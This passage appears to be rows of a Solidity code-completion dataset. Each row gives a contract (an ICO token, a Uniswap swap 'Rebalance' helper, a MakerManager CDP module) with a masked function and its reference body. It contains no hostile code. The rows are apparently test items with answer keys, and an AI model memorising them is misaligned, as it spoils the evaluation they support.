true; presaleStartTime = now; icoOpenTime = now; return true; } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; icoFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); balances[owner] = balances[owner].sub(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function send(address receiver, uint amount) public { if (balances[msg.sender] < amount) return; balances[msg.sender] -= amount; balances[receiver] += amount; emit Sent(msg.sender, receiver, amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { //owner withdraw if (msg.sender == owner && msg.value == 0){ withdraw(); } if(msg.sender != owner){ if ( now < icoOpenTime ){ revert('ICO does not open yet'); } //is Open if ( ( now >= icoOpenTime ) && ( now <= icoEndTime ) ){ icoOpen = true; } if ( now > icoEndTime ){ icoOpen = false; icoFinished = true; distributionFinished = true; } if ( icoFinished == true ){ revert('ICO has finished'); } if ( distributionFinished == true ){ revert('Token distribution has finished'); } if ( icoOpen == true ){ if ( now >= presaleStartTime && now < icoStartTime){ tTokenPerEth = presalePerEth; } if ( now >= icoStartTime && now < ico1StartTime){ tTokenPerEth = icoPerEth; } if ( now >= ico1StartTime && now < ico2StartTime){ tTokenPerEth = ico1PerEth; } if ( now >= ico2StartTime && now < ico3StartTime){ tTokenPerEth = ico2PerEth; } if ( now >= ico3StartTime && now < ico4StartTime){ tTokenPerEth = ico3PerEth; } if ( now >= ico4StartTime && now < icoEndTime) { tTokenPerEth = ico4PerEth; } tokensPerEth = tTokenPerEth; getTokens(); } } } function getTokens() payable canDistr public { uint256 tokens = 0; require( msg.value >= minContribution ); require( msg.value > 0 ); tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if ( icoFinished == true ){ revert('ICO Has Finished'); } if( balances[owner] < tokens ){ revert('Insufficient Token Balance or Sold Out.'); } if (tokens < 0){ revert(); } totalIcoDistributed += tokens; if (tokens > 0) { distr(investor, tokens); } if (totalIcoDistributed >= totalIco) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ AltcoinToken t = AltcoinToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _amount) onlyOwner public { balances[owner] = balances[owner].sub(_amount); totalSupply = totalSupply.sub(_amount); totalDistributed = totalDistributed.sub(_amount); emit Burn(owner, _amount); } <FILL_FUNCTION> function dist_privateSale(address _to, uint256 _amount) onlyOwner public { require(_amount <= balances[owner]); require(_amount > 0); totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); balances[owner] = balances[owner].sub(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); tAmount = 0; } function dist_airdrop(address _to, uint256 _amount) onlyOwner public { require(_amount <= balances[storageAirdrop]); require(_amount > 0); balances[_to] = balances[_to].add(_amount); balances[storageAirdrop] = balances[storageAirdrop].sub(_amount); emit Airdrop(_to, _amount, balances[_to]); emit Transfer(address(0), _to, _amount); } function dist_multiple_airdrop(address[] _participants, uint256 _amount) onlyOwner public { tAmount = 0; for ( i = 0; i < _participants.length; i++){ tAmount = tAmount.add(_amount); } require(tAmount <= balances[storageAirdrop]); for ( i = 0; i < _participants.length; i++){ dist_airdrop(_participants[i], _amount); } tAmount = 0; } function dist_developer(address _to, uint256 _amount) onlyOwner public { require(_amount <= balances[storageDeveloper]); require(_amount > 0); balances[_to] = balances[_to].add(_amount); balances[storageDeveloper] = balances[storageDeveloper].sub(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); tAmount = 0; } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
AltcoinToken token = AltcoinToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount);
function withdrawAltcoinTokens(address _tokenContract) onlyOwner public returns (bool)
function withdrawAltcoinTokens(address _tokenContract) onlyOwner public returns (bool)
13167
Rebalance
null
contract Rebalance is Ownable { // 1 approve this contract with dai manually uint256 UINT256_MAX = 2**256 - 1; function approveThisContract(address tokenAddress, address exchangeAddress) public onlyOwner { ERC20Interface token = ERC20Interface(tokenAddress); token.approve(exchangeAddress, UINT256_MAX); } constructor() public {<FILL_FUNCTION_BODY> } /*function testSwap() public payable { // e2t address[] memory e2tTo = new address[](1); e2tTo[0] = 0x77dB9C915809e7BE439D2AB21032B1b8B58F6891; // DAI Exchange address uint[] memory e2tAmount = new uint[](1); e2tAmount[0] = 100000000000000000; // 0,1 eth worth // t2t address[] memory t2tFromToken = new address[](1); t2tFromToken[0] = 0x2448eE2641d78CC42D7AD76498917359D961A783; // DAI Token address address[] memory t2tFromExchange = new address[](1); t2tFromExchange[0] = 0x77dB9C915809e7BE439D2AB21032B1b8B58F6891; // DAI Exchange address uint[] memory t2tAmount = new uint[](1); t2tAmount[0] = 1000000000000000000; // 1 dai to BAT address[] memory t2tToToken = new address[](1); t2tToToken[0] = 0xDA5B056Cfb861282B4b59d29c9B395bcC238D29B; // t2e address[] memory t2eFromToken = new address[](1); t2eFromToken[0] = 0x2448eE2641d78CC42D7AD76498917359D961A783; // DAI Token address address[] memory t2eFromTokenExchange = new address[](1); t2eFromTokenExchange[0] = 0x77dB9C915809e7BE439D2AB21032B1b8B58F6891; // DAI Exchange address uint[] memory t2eAmount = new uint[](1); t2eAmount[0] = 1000000000000000000; // 1 DAI to eth swap( e2tTo, e2tAmount, 1, t2tFromToken, t2tFromExchange, t2tAmount, t2tToToken, 1, t2eFromToken, t2eFromTokenExchange, t2eAmount, 1 ); }*/ function swap( address[] e2tTo, uint[] memory e2tAmount, uint e2tLen, address[] t2tFromToken, address[] t2tFromExchange, uint[] memory t2tAmount, address[] t2tToToken, uint t2tLen, address[] t2eFromToken, address[] t2eFromExchange, uint[] memory t2eAmount, uint t2eLen ) public payable { UniswapExchangeInterface fx; ERC20Interface token; // ethToToken for (uint i=0; i<e2tLen; i++) { fx = UniswapExchangeInterface(e2tTo[i]); fx.ethToTokenTransferInput.value(e2tAmount[i])(1, 1739591241, msg.sender); } // tokenToToken for (i=0; i<t2tLen; i++) { token = ERC20Interface(t2tFromToken[i]); token.transferFrom(msg.sender, address(this), t2tAmount[i]); fx = UniswapExchangeInterface(t2tFromExchange[i]); fx.tokenToTokenTransferInput(t2tAmount[i], 1, 1, 1739591241, msg.sender, t2tToToken[i]); } // tokenToEth for (i=0; i<t2eLen; i++) { token = ERC20Interface(t2eFromToken[i]); token.transferFrom(msg.sender, address(this), t2eAmount[i]); fx = UniswapExchangeInterface(t2eFromExchange[i]); fx.tokenToEthTransferInput(t2eAmount[i], 1, 1739591241, msg.sender); } } }
contract Rebalance is Ownable { // 1 approve this contract with dai manually uint256 UINT256_MAX = 2**256 - 1; function approveThisContract(address tokenAddress, address exchangeAddress) public onlyOwner { ERC20Interface token = ERC20Interface(tokenAddress); token.approve(exchangeAddress, UINT256_MAX); } <FILL_FUNCTION> /*function testSwap() public payable { // e2t address[] memory e2tTo = new address[](1); e2tTo[0] = 0x77dB9C915809e7BE439D2AB21032B1b8B58F6891; // DAI Exchange address uint[] memory e2tAmount = new uint[](1); e2tAmount[0] = 100000000000000000; // 0,1 eth worth // t2t address[] memory t2tFromToken = new address[](1); t2tFromToken[0] = 0x2448eE2641d78CC42D7AD76498917359D961A783; // DAI Token address address[] memory t2tFromExchange = new address[](1); t2tFromExchange[0] = 0x77dB9C915809e7BE439D2AB21032B1b8B58F6891; // DAI Exchange address uint[] memory t2tAmount = new uint[](1); t2tAmount[0] = 1000000000000000000; // 1 dai to BAT address[] memory t2tToToken = new address[](1); t2tToToken[0] = 0xDA5B056Cfb861282B4b59d29c9B395bcC238D29B; // t2e address[] memory t2eFromToken = new address[](1); t2eFromToken[0] = 0x2448eE2641d78CC42D7AD76498917359D961A783; // DAI Token address address[] memory t2eFromTokenExchange = new address[](1); t2eFromTokenExchange[0] = 0x77dB9C915809e7BE439D2AB21032B1b8B58F6891; // DAI Exchange address uint[] memory t2eAmount = new uint[](1); t2eAmount[0] = 1000000000000000000; // 1 DAI to eth swap( e2tTo, e2tAmount, 1, t2tFromToken, t2tFromExchange, t2tAmount, t2tToToken, 1, t2eFromToken, t2eFromTokenExchange, t2eAmount, 1 ); }*/ function swap( address[] e2tTo, uint[] memory e2tAmount, uint e2tLen, address[] t2tFromToken, address[] t2tFromExchange, uint[] memory t2tAmount, address[] t2tToToken, uint t2tLen, address[] t2eFromToken, address[] t2eFromExchange, uint[] memory t2eAmount, uint t2eLen ) public payable { UniswapExchangeInterface fx; ERC20Interface token; // ethToToken for (uint i=0; i<e2tLen; i++) { fx = UniswapExchangeInterface(e2tTo[i]); fx.ethToTokenTransferInput.value(e2tAmount[i])(1, 1739591241, msg.sender); } // tokenToToken for (i=0; i<t2tLen; i++) { token = ERC20Interface(t2tFromToken[i]); token.transferFrom(msg.sender, address(this), t2tAmount[i]); fx = UniswapExchangeInterface(t2tFromExchange[i]); fx.tokenToTokenTransferInput(t2tAmount[i], 1, 1, 1739591241, msg.sender, t2tToToken[i]); } // tokenToEth for (i=0; i<t2eLen; i++) { token = ERC20Interface(t2eFromToken[i]); token.transferFrom(msg.sender, address(this), t2eAmount[i]); fx = UniswapExchangeInterface(t2eFromExchange[i]); fx.tokenToEthTransferInput(t2eAmount[i], 1, 1739591241, msg.sender); } } }
ERC20Interface token; token = ERC20Interface(0x960b236A07cf122663c4303350609A66A7B288C0); // ANT token.approve(0x077d52b047735976dfda76fef74d4d988ac25196, UINT256_MAX); token = ERC20Interface(0x0D8775F648430679A709E98d2b0Cb6250d2887EF); // BAT token.approve(0x2e642b8d59b45a1d8c5aef716a84ff44ea665914, UINT256_MAX); token = ERC20Interface(0x107c4504cd79C5d2696Ea0030a8dD4e92601B82e); // BLT token.approve(0x0e6a53b13688018a3df8c69f99afb19a3068d04f, UINT256_MAX); token = ERC20Interface(0x1F573D6Fb3F13d689FF844B4cE37794d79a7FF1C); // BNT token.approve(0x87d80dbd37e551f58680b4217b23af6a752da83f, UINT256_MAX); token = ERC20Interface(0x26E75307Fc0C021472fEb8F727839531F112f317); // C20 token.approve(0xf7b5a4b934658025390ff69db302bc7f2ac4a542, UINT256_MAX); token = ERC20Interface(0xF5DCe57282A584D2746FaF1593d3121Fcac444dC); // cDAI token.approve(0x45a2fdfed7f7a2c791fb1bdf6075b83fad821dde, UINT256_MAX); token = ERC20Interface(0x41e5560054824eA6B0732E656E3Ad64E20e94E45); // CVC token.approve(0x1c6c712b1f4a7c263b1dbd8f97fb447c945d3b9a, UINT256_MAX); token = ERC20Interface(0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359); // DAI token.approve(0x09cabec1ead1c0ba254b09efb3ee13841712be14, UINT256_MAX); token = ERC20Interface(0xE0B7927c4aF23765Cb51314A0E0521A9645F0E2A); // DGD token.approve(0xd55c1ca9f5992a2e5e379dce49abf24294abe055, UINT256_MAX); token = ERC20Interface(0x4f3AfEC4E5a3F2A6a1A411DEF7D7dFe50eE057bF); // DGX token.approve(0xb92de8b30584392af27726d5ce04ef3c4e5c9924, UINT256_MAX); token = ERC20Interface(0x4946Fcea7C692606e8908002e55A582af44AC121); // FOAM token.approve(0xf79cb3bea83bd502737586a6e8b133c378fd1ff2, UINT256_MAX); token = ERC20Interface(0x419D0d8BdD9aF5e606Ae2232ed285Aff190E711b); // FUN token.approve(0x60a87cc7fca7e53867facb79da73181b1bb4238b, UINT256_MAX); token = ERC20Interface(0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf); // GEN token.approve(0x26cc0eab6cb650b0db4d0d0da8cb5bf69f4ad692, UINT256_MAX); token = ERC20Interface(0x6810e776880C02933D47DB1b9fc05908e5386b96); // GNO token.approve(0xe8e45431b93215566ba923a7e611b7342ea954df, UINT256_MAX); token = ERC20Interface(0x12B19D3e2ccc14Da04FAe33e63652ce469b3F2FD); // GRID token.approve(0x4b17685b330307c751b47f33890c8398df4fe407, UINT256_MAX); token = ERC20Interface(0x6c6EE5e31d828De241282B9606C8e98Ea48526E2); // HOT token.approve(0xd4777e164c6c683e10593e08760b803d58529a8e, UINT256_MAX); token = ERC20Interface(0x818Fc6C2Ec5986bc6E2CBf00939d90556aB12ce5); // KIN token.approve(0xb7520a5f8c832c573d6bd0df955fc5c9b72400f7, UINT256_MAX); token = ERC20Interface(0xdd974D5C2e2928deA5F71b9825b8b646686BD200); // KNC token.approve(0x49c4f9bc14884f6210f28342ced592a633801a8b, UINT256_MAX); token = ERC20Interface(0x514910771AF9Ca656af840dff83E8264EcF986CA); // LINK token.approve(0xf173214c720f58e03e194085b1db28b50acdeead, UINT256_MAX); token = ERC20Interface(0xA4e8C3Ec456107eA67d3075bF9e3DF3A75823DB0); // LOOM token.approve(0x417cb32bc991fbbdcae230c7c4771cc0d69daa6b, UINT256_MAX); token = ERC20Interface(0x58b6A8A3302369DAEc383334672404Ee733aB239); // LPT token.approve(0xc4a1c45d5546029fd57128483ae65b56124bfa6a, UINT256_MAX); token = ERC20Interface(0xD29F0b5b3F50b07Fe9a9511F7d86F4f4bAc3f8c4); // LQD token.approve(0xe3406e7d0155e0a83236ec25d34cd3d903036669, UINT256_MAX); token = ERC20Interface(0xBBbbCA6A901c926F240b89EacB641d8Aec7AEafD); // LRC token.approve(0xa539baaa3aca455c986bb1e25301cef936ce1b65, UINT256_MAX); token = ERC20Interface(0x0F5D2fB29fb7d3CFeE444a200298f468908cC942); // MANA token.approve(0xc6581ce3a005e2801c1e0903281bbd318ec5b5c2, UINT256_MAX); token = ERC20Interface(0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0); // MATIC token.approve(0x9a7a75e66b325a3bd46973b2b57c9b8d9d26a621, UINT256_MAX); token = ERC20Interface(0x80f222a749a2e18Eb7f676D371F19ad7EFEEe3b7); // MGN token.approve(0xdd80ca8062c7ef90fca2547e6a2a126c596e611f, UINT256_MAX); token = ERC20Interface(0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2); // MKR token.approve(0x2c4bd064b998838076fa341a83d007fc2fa50957, UINT256_MAX); token = ERC20Interface(0xec67005c4E498Ec7f55E092bd1d35cbC47C91892); // MLN token.approve(0xa931f4eb165ac307fd7431b5ec6eadde53e14b0c, UINT256_MAX); token = ERC20Interface(0x957c30aB0426e0C93CD8241E2c60392d08c6aC8e); // MOD token.approve(0xccb98654cd486216fff273dd025246588e77cfc1, UINT256_MAX); token = ERC20Interface(0xB62132e35a6c13ee1EE0f84dC5d40bad8d815206); // NEXO token.approve(0x069c97dba948175d10af4b2414969e0b88d44669, UINT256_MAX); token = ERC20Interface(0x1776e1F26f98b1A5dF9cD347953a26dd3Cb46671); // NMR token.approve(0x2bf5a5ba29e60682fc56b2fcf9ce07bef4f6196f, UINT256_MAX); token = ERC20Interface(0x8E870D67F660D95d5be530380D0eC0bd388289E1); // PAX token.approve(0xc040d51b07aea5d94a89bc21e8078b77366fc6c7, UINT256_MAX); token = ERC20Interface(0x93ED3FBe21207Ec2E8f2d3c3de6e058Cb73Bc04d); // PNK token.approve(0xf506828b166de88ca2edb2a98d960abba0d2402a, UINT256_MAX); token = ERC20Interface(0x6758B7d441a9739b98552B373703d8d3d14f9e62); // POA20 token.approve(0xa2e6b3ef205feaee475937c4883b24e6eb717eef, UINT256_MAX); token = ERC20Interface(0x687BfC3E73f6af55F0CccA8450114D107E781a0e); // QCH token.approve(0x755899f0540c3548b99e68c59adb0f15d2695188, UINT256_MAX); token = ERC20Interface(0x255Aa6DF07540Cb5d3d297f0D0D4D84cb52bc8e6); // RDN token.approve(0x7d03cecb36820b4666f45e1b4ca2538724db271c, UINT256_MAX); token = ERC20Interface(0x408e41876cCCDC0F92210600ef50372656052a38); // REN token.approve(0x43892992b0b102459e895b88601bb2c76736942c, UINT256_MAX); token = ERC20Interface(0x1985365e9f78359a9B6AD760e32412f4a445E862); // REP token.approve(0x43892992b0b102459e895b88601bb2c76736942c, UINT256_MAX); token = ERC20Interface(0x168296bb09e24A88805CB9c33356536B980D3fC5); // RHOC token.approve(0x394e524b47a3ab3d3327f7ff6629dc378c1494a3, UINT256_MAX); token = ERC20Interface(0x607F4C5BB672230e8672085532f7e901544a7375); // RLC token.approve(0xa825cae02b310e9901b4776806ce25db520c8642, UINT256_MAX); token = ERC20Interface(0xB4EFd85c19999D84251304bDA99E90B92300Bd93); // RPL token.approve(0x3fb2f18065926ddb33e7571475c509541d15da0e, UINT256_MAX); token = ERC20Interface(0x4156D3342D5c385a87D264F90653733592000581); // SALT token.approve(0x4156D3342D5c385a87D264F90653733592000581, UINT256_MAX); token = ERC20Interface(0x42456D7084eacF4083f1140d3229471bbA2949A8); // sETH token.approve(0x4740c758859d4651061cc9cdefdba92bdc3a845d, UINT256_MAX); token = ERC20Interface(0x744d70FDBE2Ba4CF95131626614a1763DF805B9E); // SNT token.approve(0x1aec8f11a7e78dc22477e91ed924fab46e3a88fd, UINT256_MAX); token = ERC20Interface(0x2Dea20405c52Fb477ecCa8Fe622661d316Ac5400); // SNX token.approve(0x2Dea20405c52Fb477ecCa8Fe622661d316Ac5400, UINT256_MAX); token = ERC20Interface(0x42d6622deCe394b54999Fbd73D108123806f6a18); // SPANK token.approve(0x4e395304655f0796bc3bc63709db72173b9ddf98, UINT256_MAX); token = ERC20Interface(0xB64ef51C888972c908CFacf59B47C1AfBC0Ab8aC); // STORJ token.approve(0xa7298541e52f96d42382ecbe4f242cbcbc534d02, UINT256_MAX); token = ERC20Interface(0x0cbe2df57ca9191b64a7af3baa3f946fa7df2f25); // sUSD token.approve(0xa1ecdcca26150cf69090280ee2ee32347c238c7b, UINT256_MAX); token = ERC20Interface(0xaAAf91D9b90dF800Df4F55c205fd6989c977E73a); // TKN token.approve(0xb6cfbf322db47d39331e306005dc7e5e6549942b, UINT256_MAX); token = ERC20Interface(0x8dd5fbCe2F6a956C3022bA3663759011Dd51e73E); // TUSD token.approve(0x4f30e682d0541eac91748bd38a648d759261b8f3, UINT256_MAX); token = ERC20Interface(0x09cabEC1eAd1c0Ba254B09efb3EE13841712bE14); // UNI-V1:DAI token.approve(0x601c32e0580d3aef9437db52d09f5a5d7e60ec22, UINT256_MAX); token = ERC20Interface(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // USDC token.approve(0x97dec872013f6b5fb443861090ad931542878126, UINT256_MAX); token = ERC20Interface(0x8f3470A7388c05eE4e7AF3d01D8C722b0FF52374); // VERI token.approve(0x17e5bf07d696eaf0d14caa4b44ff8a1e17b34de3, UINT256_MAX); token = ERC20Interface(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); // WBTC token.approve(0x4d2f5cfba55ae412221182d8475bc85799a5644b, UINT256_MAX); token = ERC20Interface(0x09fE5f0236F0Ea5D930197DCE254d77B04128075); // WCK token.approve(0x4ff7fa493559c40abd6d157a0bfc35df68d8d0ac, UINT256_MAX); token = ERC20Interface(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // WETH token.approve(0xa2881a90bf33f03e7a3f803765cd2ed5c8928dfb, UINT256_MAX); token = ERC20Interface(0xB4272071eCAdd69d933AdcD19cA99fe80664fc08); // XCHF token.approve(0x8de0d002dc83478f479dc31f76cb0a8aa7ccea17, UINT256_MAX); token = ERC20Interface(0xE41d2489571d322189246DaFA5ebDe1F4699F498); // ZRX token.approve(0xae76c84c9262cdb9abc0c2c8888e62db8e22a0bf, UINT256_MAX); /* // RINKEBY token = ERC20Interface(0x2448eE2641d78CC42D7AD76498917359D961A783); //DAI token.approve(0x77dB9C915809e7BE439D2AB21032B1b8B58F6891, UINT256_MAX); token = ERC20Interface(0xDA5B056Cfb861282B4b59d29c9B395bcC238D29B); // BAT token.approve(0x9B913956036a3462330B0642B20D3879ce68b450, UINT256_MAX); token = ERC20Interface(0xF9bA5210F91D0474bd1e1DcDAeC4C58E359AaD85); // MKR token.approve(0x93bB63aFe1E0180d0eF100D774B473034fd60C36, UINT256_MAX); token = ERC20Interface(0x879884c3C46A24f56089f3bBbe4d5e38dB5788C0); //OMG token.approve(0x26C226EBb6104676E593F8A070aD6f25cDa60F8D, UINT256_MAX); token = ERC20Interface(0xF22e3F33768354c9805d046af3C0926f27741B43); // ZRX token.approve(0xaBD44a1D1b9Fb0F39fE1D1ee6b1e2a14916D067D, UINT256_MAX);*/
constructor() public
constructor() public
11223
MakerManager
openCdp
contract MakerManager is Loan, BaseModule, RelayerModule, OnlyOwnerModule { bytes32 constant NAME = "MakerManager"; // The Guardian storage GuardianStorage public guardianStorage; // The Maker Tub contract IMakerCdp public makerCdp; // The Uniswap Factory contract UniswapFactory public uniswapFactory; // Mock token address for ETH address constant internal ETH_TOKEN_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // Method signatures to reduce gas cost at depoyment bytes4 constant internal CDP_DRAW = bytes4(keccak256("draw(bytes32,uint256)")); bytes4 constant internal CDP_WIPE = bytes4(keccak256("wipe(bytes32,uint256)")); bytes4 constant internal CDP_SHUT = bytes4(keccak256("shut(bytes32)")); bytes4 constant internal CDP_JOIN = bytes4(keccak256("join(uint256)")); bytes4 constant internal CDP_LOCK = bytes4(keccak256("lock(bytes32,uint256)")); bytes4 constant internal CDP_FREE = bytes4(keccak256("free(bytes32,uint256)")); bytes4 constant internal CDP_EXIT = bytes4(keccak256("exit(uint256)")); bytes4 constant internal WETH_DEPOSIT = bytes4(keccak256("deposit()")); bytes4 constant internal WETH_WITHDRAW = bytes4(keccak256("withdraw(uint256)")); bytes4 constant internal ERC20_APPROVE = bytes4(keccak256("approve(address,uint256)")); bytes4 constant internal ETH_TOKEN_SWAP_OUTPUT = bytes4(keccak256("ethToTokenSwapOutput(uint256,uint256)")); bytes4 constant internal ETH_TOKEN_SWAP_INPUT = bytes4(keccak256("ethToTokenSwapInput(uint256,uint256)")); bytes4 constant internal TOKEN_ETH_SWAP_INPUT = bytes4(keccak256("tokenToEthSwapInput(uint256,uint256,uint256)")); using SafeMath for uint256; /** * @dev Throws if the wallet is locked. */ modifier onlyWhenUnlocked(BaseWallet _wallet) { // solium-disable-next-line security/no-block-members require(!guardianStorage.isLocked(_wallet), "MakerManager: wallet must be unlocked"); _; } constructor( ModuleRegistry _registry, GuardianStorage _guardianStorage, IMakerCdp _makerCdp, UniswapFactory _uniswapFactory ) BaseModule(_registry, NAME) public { guardianStorage = _guardianStorage; makerCdp = _makerCdp; uniswapFactory = _uniswapFactory; } /* ********************************** Implementation of Loan ************************************* */ /** * @dev Opens a collateralized loan. * @param _wallet The target wallet. * @param _collateral The token used as a collateral (must be 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE). * @param _collateralAmount The amount of collateral token provided. * @param _debtToken The token borrowed (must be the address of the DAI contract). * @param _debtAmount The amount of tokens borrowed. * @return The ID of the created CDP. */ function openLoan( BaseWallet _wallet, address _collateral, uint256 _collateralAmount, address _debtToken, uint256 _debtAmount ) external onlyWalletOwner(_wallet) onlyWhenUnlocked(_wallet) returns (bytes32 _loanId) { require(_collateral == ETH_TOKEN_ADDRESS, "Maker: collateral must be ETH"); require(_debtToken == makerCdp.sai(), "Maker: debt token must be DAI"); _loanId = openCdp(_wallet, _collateralAmount, _debtAmount, makerCdp); emit LoanOpened(address(_wallet), _loanId, _collateral, _collateralAmount, _debtToken, _debtAmount); } /** * @dev Closes a collateralized loan by repaying all debts (plus interest) and redeeming all collateral (plus interest). * @param _wallet The target wallet. * @param _loanId The ID of the target CDP. */ function closeLoan( BaseWallet _wallet, bytes32 _loanId ) external onlyWalletOwner(_wallet) onlyWhenUnlocked(_wallet) { closeCdp(_wallet, _loanId, makerCdp, uniswapFactory); emit LoanClosed(address(_wallet), _loanId); } /** * @dev Adds collateral to a loan identified by its ID. * @param _wallet The target wallet. * @param _loanId The ID of the target CDP. * @param _collateral The token used as a collateral (must be 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE). * @param _collateralAmount The amount of collateral to add. */ function addCollateral( BaseWallet _wallet, bytes32 _loanId, address _collateral, uint256 _collateralAmount ) external onlyWalletOwner(_wallet) onlyWhenUnlocked(_wallet) { require(_collateral == ETH_TOKEN_ADDRESS, "Maker: collateral must be ETH"); addCollateral(_wallet, _loanId, _collateralAmount, makerCdp); emit CollateralAdded(address(_wallet), _loanId, _collateral, _collateralAmount); } /** * @dev Removes collateral from a loan identified by its ID. * @param _wallet The target wallet. * @param _loanId The ID of the target CDP. * @param _collateral The token used as a collateral (must be 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE). * @param _collateralAmount The amount of collateral to remove. */ function removeCollateral( BaseWallet _wallet, bytes32 _loanId, address _collateral, uint256 _collateralAmount ) external onlyWalletOwner(_wallet) onlyWhenUnlocked(_wallet) { require(_collateral == ETH_TOKEN_ADDRESS, "Maker: collateral must be ETH"); removeCollateral(_wallet, _loanId, _collateralAmount, makerCdp); emit CollateralRemoved(address(_wallet), _loanId, _collateral, _collateralAmount); } /** * @dev Increases the debt by borrowing more token from a loan identified by its ID. * @param _wallet The target wallet. * @param _loanId The ID of the target CDP. * @param _debtToken The token borrowed (must be the address of the DAI contract). * @param _debtAmount The amount of token to borrow. */ function addDebt( BaseWallet _wallet, bytes32 _loanId, address _debtToken, uint256 _debtAmount ) external onlyWalletOwner(_wallet) onlyWhenUnlocked(_wallet) { require(_debtToken == makerCdp.sai(), "Maker: debt token must be DAI"); addDebt(_wallet, _loanId, _debtAmount, makerCdp); emit DebtAdded(address(_wallet), _loanId, _debtToken, _debtAmount); } /** * @dev Decreases the debt by repaying some token from a loan identified by its ID. * @param _wallet The target wallet. * @param _loanId The ID of the target CDP. * @param _debtToken The token to repay (must be the address of the DAI contract). * @param _debtAmount The amount of token to repay. */ function removeDebt( BaseWallet _wallet, bytes32 _loanId, address _debtToken, uint256 _debtAmount ) external onlyWalletOwner(_wallet) onlyWhenUnlocked(_wallet) { require(_debtToken == makerCdp.sai(), "Maker: debt token must be DAI"); removeDebt(_wallet, _loanId, _debtAmount, makerCdp, uniswapFactory); emit DebtRemoved(address(_wallet), _loanId, _debtToken, _debtAmount); } /** * @dev Gets information about a loan identified by its ID. * @param _wallet The target wallet. * @param _loanId The ID of the target CDP. * @return a status [0: no loan, 1: loan is safe, 2: loan is unsafe and can be liquidated, 3: loan exists but we are unable to provide info] * and a value (in ETH) representing the value that could still be borrowed when status = 1; or the value of the collateral that should be added to * avoid liquidation when status = 2. */ function getLoan( BaseWallet _wallet, bytes32 _loanId ) external view returns (uint8 _status, uint256 _ethValue) { if(exists(_loanId, makerCdp)) { return (3,0); } return (0,0); } /* *********************************** Maker wrappers ************************************* */ /* CDP actions */ /** * @dev Lets the owner of a wallet open a new CDP. The owner must have enough ether * in their wallet. The required amount of ether will be automatically converted to * PETH and used as collateral in the CDP. * @param _wallet The target wallet * @param _pethCollateral The amount of PETH to lock as collateral in the CDP. * @param _daiDebt The amount of DAI to draw from the CDP * @param _makerCdp The Maker CDP contract * @return The id of the created CDP. */ function openCdp( BaseWallet _wallet, uint256 _pethCollateral, uint256 _daiDebt, IMakerCdp _makerCdp ) internal returns (bytes32 _cup) {<FILL_FUNCTION_BODY> } /** * @dev Lets the owner of a CDP add more collateral to their CDP. The owner must have enough ether * in their wallet. The required amount of ether will be automatically converted to * PETH and locked in the CDP. * @param _wallet The target wallet * @param _cup The id of the CDP. * @param _amount The amount of additional PETH to lock as collateral in the CDP. * @param _makerCdp The Maker CDP contract */ function addCollateral( BaseWallet _wallet, bytes32 _cup, uint256 _amount, IMakerCdp _makerCdp ) internal { // _wallet must be owner of CDP require(address(_wallet) == _makerCdp.lad(_cup), "CM: not CDP owner"); // convert ETH to PETH & lock PETH into CDP lockETH(_wallet, _cup, _amount, _makerCdp); } /** * @dev Lets the owner of a CDP remove some collateral from their CDP * @param _wallet The target wallet * @param _cup The id of the CDP. * @param _amount The amount of PETH to remove from the CDP. * @param _makerCdp The Maker CDP contract */ function removeCollateral( BaseWallet _wallet, bytes32 _cup, uint256 _amount, IMakerCdp _makerCdp ) internal { // unlock PETH from CDP & convert PETH to ETH freeETH(_wallet, _cup, _amount, _makerCdp); } /** * @dev Lets the owner of a CDP draw more DAI from their CDP. * @param _wallet The target wallet * @param _cup The id of the CDP. * @param 